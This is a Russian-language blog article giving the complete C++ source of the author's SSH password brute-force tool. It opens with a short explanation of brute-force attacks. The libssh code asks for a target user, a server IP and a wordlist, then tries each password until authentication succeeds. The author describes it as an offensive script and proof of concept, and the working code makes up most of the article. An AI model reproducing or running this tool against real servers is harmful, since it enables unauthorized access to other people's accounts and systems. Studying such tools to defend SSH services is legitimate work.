Брутфорс SSH с C++
Введение
Добро пожаловать в мою новую статью, сегодня я покажу вам свой скрипт C++ для выполнения SSH Brute Force Attacks.
Что такое брутфорс?
Информация от:
Атака полным перебором — это метод взлома, который использует метод проб и ошибок для взлома паролей, учетных данных для входа и ключей шифрования. Это простая, но надежная тактика для получения несанкционированного доступа к индивидуальным учетным записям, системам и сетям организаций. Хакер пробует несколько имен пользователей и паролей, часто используя компьютер для проверки широкого спектра комбинаций, пока не найдет правильную информацию для входа.
Название «грубая сила» происходит от злоумышленников, использующих чрезмерно силовые попытки получить доступ к учетным записям пользователей. Несмотря на то, что это старый метод кибератак, атаки грубой силы проверены и проверены и остаются популярной тактикой среди хакеров.
В этой ранее опубликованной статье я представил краткий обзор Hydra и того, как она работает для брутфорса SSH:
Гидра — Брутфорс
Код
Самое время посмотреть код, который я использовал для атаки SSH-серверов с помощью C++. Ниже приведен фрагмент файла класса для этого PoC:
#include <iostream>
#include <string>
#include <libssh/libssh.h>
#include "Utils/ColorClass.h"
using namespace std;
class SSHHost{
public:
string ip;
string user;
SSHHost(string ip,string user){
this->ip = ip;
this->user = user;
}
ssh_session SSHConnection(string ip, string user){
yellow("Connecting to SSH...\n");
ssh_session session = ssh_new();
ssh_options_set(session, SSH_OPTIONS_HOST, ip.c_str());
int rc = ssh_connect(session);
if (rc != SSH_OK){
red("\nServer connection unsuccesfull\n");
cout<<"Error: "<<ssh_get_error(session) << endl;
}
else if(rc == 0){
green("\nServer connection succesfull\n");
return session;
}
}
int SSHAuth(ssh_session session,string user,string password){
// Authentication
int rc;
rc = ssh_userauth_password(session, user.c_str(), password.c_str());
if (rc != SSH_AUTH_SUCCESS){
}
else if (rc == SSH_AUTH_SUCCESS) {
green("Authentication Completed with password: ");
cout<<password<<"\n";
}
return rc;
}
};
#include <iostream>
#include <string>
#include <thread>
#include <vector>
#include "Host.h"
#include "Utils/WordlistToVector.h"
using namespace std;
int main(){
ssh_session session;
int check;
string ip;
string user;
string file;
cout<<"Put the user to attack: ";
cin>>user;
cout<<"Put the IP of SSH Server to attack: ";
cin>>ip;
cout<<"Put the Path of Wordlist File: ";
cin>>file;
vector<string> passwords = readPasswordsFromFile(file);
SSHHost ssh_host(ip,user);
session = ssh_host.SSHConnection(ssh_host.ip,ssh_host.user);
for (int i = 0; i < passwords.size(); i++) {
cout<<passwords[i]<<"\n";
}
for (int i = 0; i < passwords.size(); i++) {
check = ssh_host.SSHAuth(session,ssh_host.user,passwords[i]);
if(check == SSH_AUTH_SUCCESS){
ssh_disconnect(session);
break;
}}
return 0;
}
Основной файл запрашивает информацию о пользователе и IP-адресе для атаки, а затем выполняет другие функции.
Другие функции находятся в файле класса SSHHost и имеют два атрибута: пользователя и IP.
Затем есть метод конструктора, методы SSHConnection и SSHAuth . SSHConnection возвращает сеанс, который использовал SSHAuth .
PoC
Запустите скрипт и ответьте на запросы пользователя соответствующим образом:
Шаги, включенные в этот метод атаки, очень легко воспроизвести, и он является допустимым методом атаки в современном кибермире.
Вывод выше показывает обнаруженный пароль, указывающий на успешную атаку грубой силы…
Выводы
Это один из моих первых наступательных сценариев с использованием классов и объектов. Спасибо, что прочитали мою статью. Надеюсь, вам понравился контент!
С12.

![В любом случае, что такое связанный список? [Часть 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































